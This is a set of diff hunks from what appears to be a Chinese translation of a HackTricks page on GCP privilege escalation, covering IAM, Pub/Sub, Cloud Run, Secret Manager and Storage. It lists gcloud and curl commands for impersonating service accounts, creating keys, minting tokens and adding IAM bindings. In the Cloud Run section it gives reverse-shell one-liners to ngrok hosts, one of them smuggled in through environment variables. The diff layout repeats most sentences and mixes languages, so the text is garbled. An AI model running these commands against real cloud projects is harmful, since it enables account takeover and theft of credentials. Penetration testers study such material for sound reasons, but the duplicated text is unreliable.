有关 IAM 的更多信息:
有关 IAM 的更多信息请参见
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,54 +12,51 @@
### `iam.roles.update` (`iam.roles.get`)
有上述权限的攻击者能够更新分配给你的角色,并为你添加对其他资源的额外权限,例如:
<details><summary>更新 IAM 角色以添加权限</summary>
有上述权限的 attacker 能够更新分配给你的角色,并授予你对其他资源的额外权限,例如:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
</details>
你可以在这里找到一个脚本,用于自动化 **创建、利用和清理易受攻击的环境**,以及一个用于滥用此权限的 python 脚本 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)。有关更多信息,请查看 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
您可以找到一个脚本来自动化 **creation, exploit and cleaning of a vuln environment here**,以及一个用于滥用此权限的 python 脚本 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)。如需更多信息,请查看 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
`iam.roles.create` 权限允许在项目/组织中创建自定义角色。落入攻击者之手时,这非常危险,因为它使攻击者能够定义新的权限集合,随后可以将这些权限分配给实体(例如使用 `iam.serviceAccounts.setIamPolicy` 权限),以达到提权的目的。
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
具有上述权限的攻击者将能够 **请求属于某个 Service Account 的访问令牌**,因此可能请求到权限比我们更高的 Service Account 的访问令牌
<details><summary>模拟服务帐号以获取访问令牌</summary>
具有上述权限的攻击者将能够 **request an access token that belongs to a Service Account**,因此可能请求到权限高于我们的 Service Account 的 access token
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
</details>
您可以找到一个脚本来自动化 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh),以及一个用于滥用此权限的 python 脚本 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)。更多信息请查看 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
拥有上述权限的攻击者将能够 **create a user-managed key for a Service Account**从而以该 Service Account 的身份访问 GCP。
<details><summary>Create service account key and authenticate</summary>
拥有上述权限的攻击者将能够 **create a user-managed key for a Service Account**这将允许我们以该 Service Account 的身份访问 GCP。
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
</details>
你可以在 [**此处**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) 找到一个脚本,用于自动化漏洞环境的创建、利用和清理,另外在 [**此处**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) 有一个用于滥用该权限的 Python 脚本。欲了解更多信息,请查看 [**原始研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
你可以在 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) 找到一个脚本来自动化流程,以及在 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) 找到一个用于滥用此权限的 python 脚本。更多信息请查看 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
注意,**`iam.serviceAccountKeys.update` won't work to modify the key** of a SA,因为要做到这一点还需要权限 `iam.serviceAccountKeys.create`
注意,`iam.serviceAccountKeys.update` 无法用来修改某个 Service Account 的密钥,因为执行该操作还需要权限 `iam.serviceAccountKeys.create`
### `iam.serviceAccounts.implicitDelegation`
如果你在一个 Service Account 拥有 **`iam.serviceAccounts.implicitDelegation`** 权限,该 Service Account 对第三个 Service Account 拥有 **`iam.serviceAccounts.getAccessToken`** 权限,那么你可以使用 implicitDelegation 来**为该第三个 Service Account 创建 token**。下面有一张图示说明。
如果你对某个 Service Account 拥有 **`iam.serviceAccounts.implicitDelegation`** 权限,该 Service Account 对第三个 Service Account 拥有 **`iam.serviceAccounts.getAccessToken`** 权限,那么你可以使用 implicitDelegation 为该第三个 Service Account **创建一个令牌**。下面的图可以帮助说明。
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
注意,根据 [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts)`gcloud` 的委派仅使用 [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) 方法生成 token。所以这里展示如何直接使用 API 获取 token
<details><summary>使用 API 通过委派生成 access token</summary>
注意,根据[**文档**](https://cloud.google.com/iam/docs/understanding-service-accounts)`gcloud` 的委派仅使用 [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) 方法生成令牌时有效。因此,下面展示如何直接使用 API 获取令牌
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -70,27 +67,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
具有述权限的攻击者将能够在 GCP 中**对任意负载进行签名**。因此可以**创建目标 SA 的未签名 JWT,然后将其作为 blob 发送以让目标 SA 对 JWT 进行签名**。更多信息[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)
具有述权限的攻击者将能够 **在 GCP 中对任意负载进行签名**。因此可以 **创建目标 SA 的未签名 JWT,然后将其作为 blob 发送以让 SA 对 JWT 进行签名**。欲了解更多信息 [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
具有述权限的攻击者将能够**签署格式正确的 JSON web tokens (JWTs)**。与前一种方法的区别在于,**我们不是让 google 对包含 JWT 的 blob 进行签名,而是使用已经期望接收 JWT 的 signJWT 方法**。这使得使用更简单,但你只能签 JWT,而不能签任意字节。
具有述权限的攻击者将能够 **签署格式正确的 JSON web tokens (JWTs)**。与前一种方法的区别在于,**不是让 google 对包含 JWT 的 blob 进行签名,而是使用 signJWT 方法,该方法已经期望接收一个 JWT**。这使得使用更加方便,但你只能签 JWT,而不能签任意字节。
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
具有述权限的攻击者将能够**向服务账添加 IAM 策略**。你可以滥用此权限来**授予自己**冒充该服务账所需的权限。在下面的示例中我们将 `roles/iam.serviceAccountTokenCreator` 角色授予感兴趣的 SA
<details><summary>向服务账号添加 IAM 策略绑定</summary>
具有述权限的攻击者将能够 **向服务账添加 IAM 策略**。你可以滥用它来 **授予自己** 模拟该服务账所需的权限。在下面的示例中我们将 `roles/iam.serviceAccountTokenCreator` 角色授予我们自己,针对感兴趣的 SA
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -101,57 +94,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
</details>
您可以找到一个脚本来自动化 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
The **iam.serviceAccounts.actAs permission**类似于 **iam:PassRole permission from AWS** 的权限。它对于执行任务(例如启动一个 Compute Engine 实例)至关重要,因为它授予以“actAs”某个 Service Account 的能力,从而确保权限管理的安全性。没有权限,用户可能会获得不当访问。外,**iam.serviceAccounts.actAs** 涉及多种方法,每种方法需要一组不同的权限,这与其他只需要单权限的方法形成对比。
**iam.serviceAccounts.actAs permission** 类似于 **iam:PassRole permission from AWS**。它对于执行如启动 Compute Engine 实例等任务是必需的,因为它授予以 服务帐号 “actAs” 的能力,从而确保权限管理的安全性。没有这个权限,用户可能会获得不当访问。外,**iam.serviceAccounts.actAs** 多种方法,每种方法需要一组权限,这与只需要单权限的其他方法形成对比。
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
#### 服务帐号冒充 <a href="#service-account-impersonation" id="service-account-impersonation"></a>
模拟服务账号在获得更高权限时非常有用,可以用来 **obtain new and better privileges**。有三种方式可以 [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
冒充服务帐号对于 **获得新的、更高级的权限** 非常有用。你可以通过三种方式 [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
- Authentication **using RSA private keys**(如上所述
- Authorization **using Cloud IAM policies**(在此处讨论)
- **Deploying jobs on GCP services**(更适用于用户账号的妥协
- 使用 **RSA private keys** 进行认证(上文已涉及
- 使用 **Cloud IAM policies** 进行授权(在此处讨论)
- **Deploying jobs on GCP services**(更适用于用户帐号被入侵的情形
### `iam.serviceAccounts.getOpenIdToken`
拥有上述权限的攻击者能够生成 OpenID JWT。这些用于断言身份,不一定对某个资源带有任何隐含的授权。
拥有上述权限的攻击者能够生成 OpenID JWT。这些令牌用于声明身份,不一定对资源带有隐含的授权。
根据这篇 [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b),需要指定 audience(即你打算使用该 token 进行认证的服务),然后你会收到一个由 google 签名的 JWT,指 service account 和 JWT 的 audience。
根据这篇 [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b),需要指定 audience(即你希望用该令牌进行认证的服务),你将收到一个由 google 签名的 JWT,指 service account 和 JWT 的 audience。
You can generate an OpenIDToken (if you have the access) with:
<details><summary>为 service account 生成 OpenID token</summary>
如果你有权限,可以使用以下方式生成 OpenIDToken
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
</details>
然后你可以使用它来访问该服务:
<details><summary>使用 OpenID token 进行身份验证</summary>
然后你就可以用它来访问该服务:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
</details>
支持通过此类令牌进行身份验证的一些服务包括:
支持通过此类 tokens 进行身份验证的一些服务有:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id)(如果使用 Google OIDC
可以找到一个示例,说明如何代表服务帐户创建 OpenID 令牌 [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)。
可以 [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) 找到一个如何为服务账号创建 OpenID token 的示例
## 参考资料
## 参考
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -10,28 +10,61 @@
../gcp-services/gcp-pub-sub.md
{{#endref}}
### `pubsub.snapshots.create`
主题的快照**包含当前未确认的消息和之后的每条消息**。您可以创建主题的快照以**访问所有消息**,**避免直接访问主题**。
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
topic 的 snapshots **包含当前 unACKed 消息以及之后的所有消息**。你可以为一个 topic 创建 snapshot 来 **访问所有消息**,**而无需直接访问该 topic**。
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**
之前的权限分配给您
前述权限赋予你
### `pubsub.subscriptions.create`
可以在主题中创建一个推送订阅,该订阅将把所有接收到的消息发送到指定的 URL
可以在一个 topic 上创建一个 push subscription,该 subscription 会将收到的所有消息发送到指定的 URL
### **`pubsub.subscriptions.update`**
自己的 URL 设置为推送端点以窃取消息。
自己的 URL 设置为 push endpoint以窃取消息。
### `pubsub.subscriptions.consume`
使用订阅访问消息。
使用该 subscription 访问消息。
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`
自己任何前的权限
给自己任何前的权限
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud Run
关于 Cloud Run 的更多信息请查看:
For more information about Cloud Run check:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,7 +12,7 @@
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
有这些权限的攻击者可以**create a run service running arbitrary code**(任意 Docker 容器),将 Service Account 附加到其中,并使代码**exfiltrate the Service Account token from the metadata**。
有这些权限的攻击者可以**创建一个运行任意代码的 run 服务**(任意 Docker container),将 Service Account 附加到该服务,并代码**从 metadata 中 exfiltrate Service Account token**。
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
@@ -20,10 +20,7 @@ Note that when using `gcloud run deploy` instead of just creating the service **
### `run.services.update` , `iam.serviceAccounts.actAs`
与前者类似,但更新已服务:
<details>
<summary>Deploy Cloud Run service with reverse shell</summary>
与前者类似,但更新已存在的服务:
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
</details>
### `run.services.setIamPolicy`
为自己授予对 Cloud Run 的权限。
为自己授予对 cloud Run 的提升权限。
```bash
# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
启动一个 reverse shell 的 job窃取命令中指的 service account。你可以在此找到一个 [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
<details>
<summary>创建带 reverse shell 的 Cloud Run job</summary>
启动一个包含 reverse shell 的 job,以窃取命令中指的 service account。你可以在此找到一个 [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
</details>
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
类似于前面的情况,可以**更新 job 并更新 SA**,修改 **command****执行它**
<details>
<summary>更新 Cloud Run job 并使用 reverse shell 执行</summary>
类似于前一个,可以 **update a job and update the SA**,插入要执行的 **command**运行
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
</details>
### `run.jobs.setIamPolicy`
为自己授予对 Cloud Jobs 的前权限。
为自己授予对 Cloud Jobs 的前权限。
```bash
# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
滥用作业执行的环境变量以执行任意代码并获取 reverse shell,以转储容器的内容(源代码)并访问元数据中的 SA
<details>
<summary>使用环境变量利用执行 Cloud Run 作业</summary>
滥用 job 执行的 env variables 来执行任意代码并获取 reverse shell,从而转储 containersource code)的内容并访问 metadata 中的 SA:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
</details>
## 参考资料
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -4,7 +4,7 @@
## secretmanager
关 secretmanager 的更多信息:
secretmanager 的更多信息:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,7 +12,7 @@
### `secretmanager.versions.access`
会让你有权限从 secret manager 读取 secrets,并且可能有助于 escalate privielegs(取决于 secret 中存储的信息):
使你可以访问并从 secret manager 读取 secret可能有助于提升权限(取决于 secret 中存储的信息):
<details><summary>获取明文 secret 版本</summary>
```bash
@@ -21,7 +21,7 @@ gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
作为一种 post exploitation 技术,可以在以下位置找到:
由于这也是一个 post exploitation 技术,可以在以下位置找到:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -29,7 +29,7 @@ gcloud secrets versions access 1 --secret="<secret_name>"
### `secretmanager.secrets.setIamPolicy`
这会允许你访问并读取 secret manager 中 secrets,例如使用:
这会让你可以从 secret manager 中读取 secrets,例如使用:
<details><summary>Add IAM policy binding to secret</summary>
```bash
@@ -37,6 +37,12 @@ gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
或撤销策略:
```bash
gcloud secrets remove-iam-policy-binding <secret-name> \
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## 存储
基本信息:
Basic Information:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,28 +12,82 @@
### `storage.objects.get`
权限允许你**下载保存在 Cloud Storage 中的文件**。这可能你提升权限,因为在某些情况下**敏感信息保存在那里**。此外,一些 GCP 服务会将信息存放在 buckets 中:
权限允许你**下载保存在 Cloud Storage 中的文件**。这可能使你提升权限,因为在某些情况下**敏感信息保存在那里**。此外,一些 GCP 服务会将它们的信息存放在存储桶中:
- **GCP Composer**:当你创建一个 Composer Environment 时,所有 DAGs 的**代码**会保存一个 **bucket** 中。这些任务的代码中可能包含有价值的信息。
- **GCR (Container Registry)**:容器的**镜像**存储在 **buckets** 中,这意味着如果你能读取这些 buckets,就可以下载镜像并**搜索 leaks 和/或 源代码**。
- **GCP Composer**:当你创建一个 Composer Environment 时,所有 DAG 的**代码**会保存一个**存储桶**中。这些任务的代码中可能包含有价值的信息。
- **GCR (Container Registry)**:容器的**镜像**存放在**存储桶**中,这意味着如果你能读取这些存储桶,就可以下载镜像并**搜索 leaks 和/或 源代码**。
### `storage.objects.setIamPolicy`
该权限可以让你**滥用本节之前列出的任何情形**。
可以让你**abuse 本节之前的任何场景**。
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
### **`storage.buckets.setIamPolicy`**
如何使用权限修改权限的示例,请查看此页面:
关如何使用权限修改访问权限的示例,请查看此页面:
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
{{#endref}}
### `storage.hmacKeys.create`
Cloud Storage 的 interoperability 功能用于像 AWS S3 这样的**跨云交互**,涉及 Service Accounts 和用户**创建 HMAC keys**。攻击者可以通过**为具有提升权限的 Service Account 生成 HMAC key**来滥用此功能,从而**在 Cloud Storage 中提升权限**。用户关联的 HMAC keys 只能通过 web 控制台检索,但 access secret keys 在检索后仍然**持续可用**,可用于备份或持久访问。相反,关联到 Service Account 的 HMAC keys 可通过 API 使用,但其 access secret keys 在创建后无法再次检索,这使得维持持续访问变得更复杂。
<details><summary>Create and use HMAC key for privilege escalation</summary>
Cloud Storage 的 "interoperability" 功能,旨在用于像 AWS S3 这样的 **cross-cloud interactions**,涉及 **creation of HMAC keys for Service Accounts and users**。攻击者可以通过 **generating an HMAC key for a Service Account with elevated privileges** 利用此机制,从而在 Cloud Storage 中 **escalating privileges within Cloud Storage**。尽管与用户关联的 HMAC keys 只能通过 web console 检索,但 access and secret keys 保持 **perpetually accessible**,可以作为潜在的备份访问存储。相反,关联到 Service Account 的 HMAC keys 可通过 API 访问,但它们的 access and secret keys 在创建后无法检索,这为持续访问增加了一层复杂
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
</details>
另一个针对该方法的 exploit 脚本可以在 [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) 找到。
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
### `storage.objects.create`, `storage.objects.delete` = Storage 写入权限
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
要在存储桶内**创建新对象**,你需要 `storage.objects.create`,并且根据 [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions),要**修改**已存在的对象,你还需要 `storage.objects.delete`
为了在 bucket 内**创建新对象**,你需要 `storage.objects.create`,并且根据[文档](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions),要**修改**已有对象还需要 `storage.objects.delete`
在可以写入云存储的 bucket 中,一种非常**常见的利用方式**是当这个**bucket 存放着 web 服务器文件**时,攻击者可能能**存放新的代码**,被 web 应用使用。
在可写的存储桶中非常常见的一种利用场景是当该**存储桶保存着 Web 服务器文件**,你可能能够**存储新的代码**,并被 Web 应用使用
### Composer
**Composer** 是在 GCP 内托管的 **Apache Airflow**。它有几个值得注意的特性:
**Composer** 是在 **GCP**托管的 **Apache Airflow**。它有几个有趣的特性:
- 它运行在 **GKE cluster** 内,所以集群使用的 **SA 对代码是可访问的**,运行在 Composer 内的代码可以访问该 SA。
- composer environment 的所有组件(**DAGs 的代码**、plugins 和数据)都存储在一个 GCP bucket 里。如果攻击者对其有读写权限,可以监控该 bucket**每当某个 DAG 被创建或更新时,提交一个带后门的版本**,使 composer environment storage 获取带后门的版本。
- 它运行在 **GKE 集群** 中,因此集群使用的 **SA 可被 Composer 内运行的代码访问**
- Composer 环境的所有组件(**DAGs 的代码**、插件和数据)都存储在 GCP 的一个存储桶中。如果攻击者对其有读写权限,可以监控该存储桶,并且**每当 DAG 被创建或更新时,提交一个带后门的版本**,这样 Composer 环境就会Storage 获取这个带后门的版本。
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- Cloud Functions 的代码存储在 Storage 中,每当创建新版本时代码会被推送到 bucket,然后这些代码构建新的容器。因此,**在新版本构建之前覆盖代码可以让 cloud function 执行任意代码**。
- Cloud Functions 的代码存储在 Storage 中,每当创建新版本时代码会被推送到存储桶,然后根据这些代码构建新的容器。因此,**在新版本构建之前覆盖代码,就有可能使 Cloud Function 执行任意代码**。
